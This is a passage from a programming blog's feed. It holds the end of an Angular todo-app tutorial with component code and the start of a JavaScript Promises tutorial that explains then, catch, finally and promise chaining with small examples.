<figure class="highlight ts"><figcaption><span>src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; Component, OnInit &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/core&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; ActivatedRoute &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/router&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> &#123; TodoService, ITodo &#125; <span class="keyword">from</span> <span class="string">&#x27;./todo.service&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span>(&#123;</span><br><span class="line">  selector: <span class="string">&#x27;app-todo&#x27;</span>,</span><br><span class="line">  templateUrl: <span class="string">&#x27;./todo.component.html&#x27;</span>,</span><br><span class="line">  styleUrls: [<span class="string">&#x27;./todo.component.scss&#x27;</span>],</span><br><span class="line">  providers: [TodoService]</span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> TodoComponent <span class="keyword">implements</span> OnInit &#123;</span><br><span class="line">  <span class="keyword">public</span> todos: ITodo[];</span><br><span class="line">  <span class="keyword">public</span> activeTasks: <span class="built_in">number</span>;</span><br><span class="line">  <span class="keyword">public</span> newTodo: <span class="built_in">string</span>;</span><br><span class="line">  <span class="keyword">public</span> path: <span class="built_in">string</span>;</span><br><span class="line">  <span class="keyword">public</span> mapToQuery = &#123;</span><br><span class="line">    all: &#123;&#125;,</span><br><span class="line">    active: &#123; isDone: <span class="literal">false</span> &#125;,</span><br><span class="line">    completed: &#123; isDone: <span class="literal">true</span> &#125;,</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="keyword">constructor</span>(<span class="params"><span class="keyword">private</span> todoService: TodoService, <span class="keyword">private</span> route: ActivatedRoute</span>) &#123; &#125;</span><br><span class="line"></span><br><span class="line">  ngOnInit() &#123;</span><br><span class="line">    <span class="built_in">this</span>.route.params.subscribe(<span class="function"><span class="params">params</span> =&gt;</span> &#123;</span><br><span class="line">      <span class="built_in">this</span>.path = params.status;</span><br><span class="line">      <span class="built_in">this</span>.getTodos(<span class="built_in">this</span>.path);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  addTodo() &#123;</span><br><span class="line">    <span class="built_in">this</span>.todoService</span><br><span class="line">      .add(&#123; title: <span class="built_in">this</span>.newTodo, isDone: <span class="literal">false</span> &#125; <span class="keyword">as</span> unknown <span class="keyword">as</span> ITodo)</span><br><span class="line">      .subscribe(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.getTodos();</span><br><span class="line">        <span class="built_in">this</span>.newTodo = <span class="string">&#x27;&#x27;</span>; <span class="comment">// clear input form value</span></span><br><span class="line">      &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  getTodos(route = <span class="string">&#x27;all&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> query = <span class="built_in">this</span>.mapToQuery[route];</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.todoService</span><br><span class="line">      .get(query)</span><br><span class="line">      .subscribe(<span class="function">(<span class="params">todos: ITodo[]</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.todos = todos;</span><br><span class="line">        <span class="built_in">this</span>.activeTasks = <span class="built_in">this</span>.todos.filter(<span class="function"><span class="params">todo</span> =&gt;</span> !todo.isDone).length;</span><br><span class="line">      &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  updateTodo(todo: ITodo, newValue: <span class="built_in">string</span>) &#123;</span><br><span class="line">    todo.title = newValue;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.todoService.put(todo).subscribe(<span class="function">() =&gt;</span> <span class="built_in">this</span>.getTodos());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  destroyTodo(todo: ITodo) &#123;</span><br><span class="line">    <span class="built_in">this</span>.todoService.delete(todo).subscribe(<span class="function">() =&gt;</span> <span class="built_in">this</span>.getTodos());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  toggleTodo(todo: ITodo) &#123;</span><br><span class="line">    <span class="built_in">this</span>.todoService.toggle(todo).subscribe(<span class="function">() =&gt;</span> <span class="built_in">this</span>.getTodos());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  clearCompleted() &#123;</span><br><span class="line">    <span class="built_in">this</span>.todoService.deleteCompleted().subscribe(<span class="function">() =&gt;</span> <span class="built_in">this</span>.getTodos());</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Let’s go over each part in the next sections.</p>
<h4 id="Sending-Queries-with-HTTP-GET"><a href="#Sending-Queries-with-HTTP-GET" class="headerlink" title="Sending Queries with HTTP GET"></a>Sending Queries with HTTP GET</h4><p>In the component, one the first thing we do is check the route params (path):</p>
<figure class="highlight js"><figcaption><span>recap: src/app/todo/todo.component.ts (exerpt)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ngOnInit() &#123;</span><br><span class="line">  <span class="built_in">this</span>.route.params.subscribe(<span class="function"><span class="params">params</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.path = params[<span class="string">&#x27;status&#x27;</span>];</span><br><span class="line">    <span class="built_in">this</span>.getTodos(<span class="built_in">this</span>.path);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>When you click on the buttons <code>All</code>, <code>Active</code>, and <code>Completed</code>, that will trigger a route change.</p>
<p>To recap, these buttons use the router link. So, every time you click on them, they will change the URL.</p>
<figure class="highlight html"><figcaption><span>recap: src/app/todo/todo.component.html (exerpt)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;filters&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> [<span class="attr">routerLink</span>]=<span class="string">&quot;[&#x27;/all&#x27;]&quot;</span> [<span class="attr">class.selected</span>]=<span class="string">&quot;path === &#x27;all&#x27;&quot;</span>&gt;</span>All<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> [<span class="attr">routerLink</span>]=<span class="string">&quot;[&#x27;/active&#x27;]&quot;</span> [<span class="attr">class.selected</span>]=<span class="string">&quot;path === &#x27;active&#x27;&quot;</span>&gt;</span>Active<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> [<span class="attr">routerLink</span>]=<span class="string">&quot;[&#x27;/completed&#x27;]&quot;</span> [<span class="attr">class.selected</span>]=<span class="string">&quot;path === &#x27;completed&#x27;&quot;</span>&gt;</span>Completed<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>After we change the URL, the next thing we do is to call <code>getTodos</code>. Let’s see that next.</p>
<h4 id="Get-all-todos"><a href="#Get-all-todos" class="headerlink" title="Get all todos"></a>Get all todos</h4><p>We can get all services using the following:</p>
<figure class="highlight js"><figcaption><span>src/app/todo/todo.component.ts (exerpt)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">getTodos(route = <span class="string">&#x27;all&#x27;</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> query = <span class="built_in">this</span>.mapToQuery[route];</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">this</span>.todoService</span><br><span class="line">    .get(query)</span><br><span class="line">    .subscribe(<span class="function">(<span class="params">todos: ITodo[]</span>) =&gt;</span> &#123;</span><br><span class="line">      <span class="built_in">this</span>.todos = todos;</span><br><span class="line">      <span class="built_in">this</span>.activeTasks = <span class="built_in">this</span>.todos.filter(<span class="function"><span class="params">todo</span> =&gt;</span> !todo.isDone).length;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We <code>this.todoService.get</code> will issue an HTTP get and retrieve all the tasks from the database and update the todos. It also updates the number of active tasks (the ones that are not done).</p>
<p>The <code>getTodos</code> receives an argument (<code>route</code>) with the path that will be one of these: <code>all</code>, <code>active</code>, or <code>complete</code>. However, MongoDB doesn’t understand these words. We have to map it (<code>mapToQuery</code>) to something a proper query like <code>&#123; isDone: true &#125;</code>. This MongoDB will understand.</p>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/e33d540">e33d540</a> - Angular TodoComponet updates</p>
</blockquote>
<h4 id="Modifying-the-todos"><a href="#Modifying-the-todos" class="headerlink" title="Modifying the todos"></a>Modifying the todos</h4><p>All the other operations, like the update, clear, toggle, are very similar. They trigger an action and then call <code>getTodos</code>, so the UI is up to date with the latest changes.</p>
<p>That’s all!</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;The &lt;abbr title=&quot;MongoDB, Express, Angular and Node.js&quot;&gt;MEAN&lt;/abbr&gt; stack allows you to build complete applications using one programming language: JavaScript. In this tutorial, we made upon the first part (&lt;a href=&quot;/angular-2-tutorial-create-a-crud-app-with-angular-cli-and-typescript/&quot;&gt;Creating an Angular app&lt;/a&gt;) which built the front-end, and this part builds the backend with a RESTful API and Database.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Web Development" scheme="https://adrianmejia.com/categories/coding/web-development/"/>
    
      <category term="Angular" scheme="https://adrianmejia.com/categories/coding/web-development/angular/"/>
    
    
      <category term="angular" scheme="https://adrianmejia.com/tags/angular/"/>
    
      <category term="angularjs" scheme="https://adrianmejia.com/tags/angularjs/"/>
    
      <category term="mean stack" scheme="https://adrianmejia.com/tags/mean-stack/"/>
    
  </entry>
  
  <entry>
    <title>The JavaScript Promise Tutorial</title>
    <link href="https://adrianmejia.com/promises-tutorial-concurrency-in-javascript-node/"/>
    <id>https://adrianmejia.com/promises-tutorial-concurrency-in-javascript-node/</id>
    <published>2019-07-08T23:26:12.000Z</published>
    <updated>2020-08-06T18:25:12.000Z</updated>
    
    <content type="html"><![CDATA[<p>This post is intended to be the ultimate JavaScript Promises tutorial: recipes and examples for everyday situations (or that’s the goal 😉). We cover all the necessary methods like <code>then</code>, <code>catch</code>, and <code>finally</code>. Also, we go over more complex situations like executing promises in parallel with <code>Promise.all</code>, timing out APIs with <code>Promise.race</code>, promise chaining and some best practices and gotchas.</p>
<a id="more"></a>

<p><em>NOTE: I’d like this post to be up-to-date with the most common use cases for promises. If you have a question about promises and it’s not answered here. Please, comment below or reach out to me directly <a href="https://twitter.com/iAmAdrianMejia">@iAmAdrianMejia</a>. I’ll look into it and update this post.</em></p>
<hr>

<p><strong>Related Posts:</strong></p>
<ol>
<li><a href="/asynchronous-vs-synchronous-handling-concurrency-in-javascript/">Async vs Sync in JavaScript</a></li>
<li><a href="/callbacks-concurrency-in-javascript-node/">JavaScript Callbacks</a></li>
<li><a href="/promises-tutorial-concurrency-in-javascript-node/">JavaScript Promises</a> (this one)</li>
</ol>
<hr>

<h2 id="JavaScript-Promises"><a href="#JavaScript-Promises" class="headerlink" title="JavaScript Promises"></a>JavaScript Promises</h2><p>A promise is an object that allows you to handle asynchronous operations. It’s an alternative to plain old callbacks.</p>
<p>Promises have many advantages over callbacks. To name a few:</p>
<ul>
<li>Make the async code easier to read.</li>
<li>Provide combined error handling.</li>
<li>Better control flow. You can have async actions execute in parallel or series.</li>
</ul>
<p>Callbacks tend to form deeply nested structures (a.k.a. Callback hell). Like the following:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">a(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  b(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    c(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      d(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="comment">// and so on ...</span></span><br><span class="line">      &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>If you convert those functions to promises, they can be chained producing more maintainable code. Something like this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve()</span><br><span class="line">  .then(a)</span><br><span class="line">  .then(b)</span><br><span class="line">  .then(c)</span><br><span class="line">  .then(d)</span><br><span class="line">  .catch(<span class="built_in">console</span>.error);</span><br></pre></td></tr></table></figure>

<p>As you can see, in the example above, the promise object exposes the methods <code>.then</code> and <code>.catch</code>. We are going to explore these methods later.</p>
<h2 id="How-do-I-convert-an-existing-callback-API-to-promises"><a href="#How-do-I-convert-an-existing-callback-API-to-promises" class="headerlink" title="How do I convert an existing callback API to promises?"></a>How do I convert an existing callback API to promises?</h2><p>We can convert callbacks into promises using the Promise constructor.</p>
<p>The Promise constructor takes a callback with two arguments <code>resolve</code> and <code>reject</code>.</p>
<ul>
<li><strong>Resolve</strong>: is a callback that should be invoked when the async operation is completed.</li>
<li><strong>Reject</strong>: is a callback function to be invoked when an error occurs.</li>
</ul>
<p>The constructor returns an object immediately, the promise instance. You can get notified when the promise is “done” using the method <code>.then</code> in the promise instance. Let’s see an example.</p>
<h3 id="Wait-aren’t-promises-just-callbacks"><a href="#Wait-aren’t-promises-just-callbacks" class="headerlink" title="Wait, aren’t promises just callbacks?"></a>Wait, aren’t promises just callbacks?</h3><p>Yes and no. Promises are not “just” callbacks, but they do use asynchronous callbacks on the <code>.then</code> and <code>.catch</code> methods. Promises are an abstraction on top of callbacks that allows you to chain multiple async operations and handle errors more elegantly. Let’s see it in action.</p>
<h4 id="Promises-anti-pattern-promise-hell"><a href="#Promises-anti-pattern-promise-hell" class="headerlink" title="Promises anti-pattern (promise hell)"></a>Promises anti-pattern (promise hell)</h4><p>Before jumping into how to convert callbacks to promises, let’s see how NOT to it.</p>
<p>Please don’t convert callbacks to promises from this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">a(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  b(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    c(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      d(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="comment">// and so on ...</span></span><br><span class="line">      &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>To this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">a().then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> b().then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> c().then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">return</span> d().then(<span class="function">() =&gt;</span>&#123;</span><br><span class="line">        <span class="comment">// ⚠️ Please never ever do to this! ⚠️</span></span><br><span class="line">      &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>Always keep your promises as flat as you can.</p>
<p>It’s better to do this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">a()</span><br><span class="line">  .then(b)</span><br><span class="line">  .then(c)</span><br><span class="line">  .then(d)</span><br></pre></td></tr></table></figure>

<p>Let’s do some real-life examples! 💪</p>
<h3 id="Promesifying-Timeouts"><a href="#Promesifying-Timeouts" class="headerlink" title="Promesifying Timeouts"></a>Promesifying Timeouts</h3><p>Let’s see an example. What do you think will be the output of the following program?</p>
<script defer async src="https://embed.runkit.com" data-element-id="my-element"></script>
<pre id="my-element" class="runkit">
const promise = new Promise((resolve, reject) => {
  setTimeout(() => {
    resolve('time is up ⏰');
  }, 1e3);

  setTimeout(() => {
    reject('Oops 🔥');
  }, 2e3);
});

promise
  .then(console.log)
  .catch(console.error);
</pre>

<p>Is the output:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">time is up ⏰</span><br><span class="line">Oops! 🔥</span><br></pre></td></tr></table></figure>

<p>or is it</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">time is up ⏰</span><br></pre></td></tr></table></figure>

<p>?</p>
<p>It’s the latter, because</p>
<blockquote>
<p>When a promise it’s <code>resolve</code>d, it can no longer be <code>reject</code>ed.</p>
</blockquote>
<p>Once you call one method (<code>resolve</code> or <code>reject</code>) the other is invalidated since the promise in a <em>settled</em> state. Let’s explore all the different states of a promise.</p>
<h2 id="Promise-states"><a href="#Promise-states" class="headerlink" title="Promise states"></a>Promise states</h2><p>There are four states in which the promises can be:</p>
<ul>
<li>⏳ <strong>Pending</strong>: initial state. Async operation is still in process.</li>
<li>✅ <strong>Fulfilled</strong>: the operation was successful. It invokes <code>.then</code> callback. E.g., <code>.then(onSuccess)</code>.</li>
<li>⛔️ <strong>Rejected</strong>: the operation failed. It invokes the <code>.catch</code> or <code>.then</code> ‘s second argument (if any). E.g., <code>.catch(onError)</code> or <code>.then(..., onError)</code></li>
<li>😵 <strong>Settled</strong>: it’s the promise final state. The promise is dead. Nothing else can be resolved or rejected anymore. The <code>.finally</code> method is invoked.</li>
</ul>
<p><img src="/images/promises-states.png" alt="Promises four states"></p>
<h2 id="Promise-instance-methods"><a href="#Promise-instance-methods" class="headerlink" title="Promise instance methods"></a>Promise instance methods</h2><p>The Promise API exposes three main methods: <code>then</code>, <code>catch</code> and <code>finally</code>. Let’s explore each one and provide examples.</p>
<h3 id="Promise-then"><a href="#Promise-then" class="headerlink" title="Promise then"></a>Promise then</h3><p>The <code>then</code> method allows you to get notified when the asynchronous operation is done, either succeeded or failed. It takes two arguments, one for the successful execution and the other one if an error happens.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">promise.then(onSuccess, onError);</span><br></pre></td></tr></table></figure>
<p>You can also use catch to handle errors:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">promise.then(onSuccess).catch(onError);</span><br></pre></td></tr></table></figure>

<p><strong>Promise chaining</strong></p>
<p><code>then</code> returns a new promise so you can chain multiple promises together. Like in the example below:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve()</span><br><span class="line">  .then(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;then#1&#x27;</span>))</span><br><span class="line">  .then(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;then#2&#x27;</span>))</span><br><span class="line">  .then(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;then#3&#x27;</span>));</span><br></pre></td></tr></table></figure>

<p><code>Promise.resolve</code> immediately resolves the promise as successful. So all the following <code>then</code> are called. The output would be</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">then#1</span><br><span class="line">then#2</span><br><span class="line">then#3</span><br></pre></td></tr></table></figure>

<p>Let’s see how to handle errors on promises with <code>then</code> and <code>catch</code>.</p>
<h3 id="Promise-catch"><a href="#Promise-catch" class="headerlink" title="Promise catch"></a>Promise catch</h3><p>Promise <code>.catch</code> the method takes a function as an argument that handles errors if they occur. If everything goes well, the catch method is never called.</p>
<p>Let’s say we have the following promises: one resolves or rejects after 1 second and prints out their letter.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> a = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123; <span class="built_in">console</span>.log(<span class="string">&#x27;a&#x27;</span>), resolve() &#125;, <span class="number">1e3</span>));</span><br><span class="line"><span class="keyword">const</span> b = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123; <span class="built_in">console</span>.log(<span class="string">&#x27;b&#x27;</span>), resolve() &#125;, <span class="number">1e3</span>));</span><br><span class="line"><span class="keyword">const</span> c = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123; <span class="built_in">console</span>.log(<span class="string">&#x27;c&#x27;</span>), reject(<span class="string">&#x27;Oops!&#x27;</span>) &#125;, <span class="number">1e3</span>));</span><br><span class="line"><span class="keyword">const</span> d = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123; <span class="built_in">console</span>.log(<span class="string">&#x27;d&#x27;</span>), resolve() &#125;, <span class="number">1e3</span>));</span><br></pre></td></tr></table></figure>

<p>Notice that <code>c</code> simulates a rejection with <code>reject(&#39;Oops!&#39;)</code></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve()</span><br><span class="line">  .then(a)</span><br><span class="line">  .then(b)</span><br><span class="line">  .then(c)</span><br><span class="line">  .then(d)</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br></pre></td></tr></table></figure>

<p>The output is the following:</p>
<p><img src="/images/promise-catch.gif" alt="promise catch"></p>
<p>In this case, you will see <code>a</code>, <code>b</code>, and the error message on <code>c</code>. The function` will never get executed because the error broke the sequence.</p>
<p>Also, you can handle the error using the 2nd argument of the <code>then</code> function. However, be aware that <code>catch</code> will not execute anymore.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve()</span><br><span class="line">  .then(a)</span><br><span class="line">  .then(b)</span><br><span class="line">  .then(c)</span><br><span class="line">  .then(d, <span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;c errored out but no big deal&#x27;</span>))</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br></pre></td></tr></table></figure>

<p><img src="/images/promise-then-on-error.gif" alt="promise then error handling"></p>
<p>As you can see the catch doesn’t get called because we are handling the error on the <code>.then(..., onError)</code> part.
<code>d</code> is not being called regardless. If you want to ignore the error and continue with the execution of the promise chain, you can add a <code>catch</code> on <code>c</code>. Something like this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve()</span><br><span class="line">  .then(a)</span><br><span class="line">  .then(b)</span><br><span class="line">  .then(<span class="function">() =&gt;</span> c().catch(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;error ignored&#x27;</span>)))</span><br><span class="line">  .then(d)</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br></pre></td></tr></table></figure>

<p><img src="/images/promise-catch-ignored.gif" alt="promise then error handling"></p>
<p>Now’d<code>gets executed!! In all the other cases, it didn&#39;t. This early</code>catch` is not desired in most cases; it can lead to things falling silently and make your async operations harder to debug.</p>
<h3 id="Promise-finally"><a href="#Promise-finally" class="headerlink" title="Promise finally"></a>Promise finally</h3><p>The <code>finally</code> method is called only when the promise is settled.</p>
<p>You can use a <code>.then</code> after the <code>.catch</code>, in case you want a piece of code to execute always, even after a failure.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve()</span><br><span class="line">  .then(a)</span><br><span class="line">  .then(b)</span><br><span class="line">  .then(c)</span><br><span class="line">  .then(d)</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br><span class="line">  .then(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;always called&#x27;</span>));</span><br></pre></td></tr></table></figure>

<p>or you can use the <code>.finally</code> keyword:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve()</span><br><span class="line">  .then(a)</span><br><span class="line">  .then(b)</span><br><span class="line">  .then(c)</span><br><span class="line">  .then(d)</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br><span class="line">  .finally(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;always called&#x27;</span>));</span><br></pre></td></tr></table></figure>

<h2 id="Promise-class-Methods"><a href="#Promise-class-Methods" class="headerlink" title="Promise class Methods"></a>Promise class Methods</h2><p>There are four static methods that you can use directly from the <code>Promise</code> object.</p>
<ul>
<li>Promise.all</li>
<li>Promise.reject</li>
<li>Promise.resolve</li>
<li>Promise.race</li>
</ul>
<p>Let’s see each one and provide examples.</p>
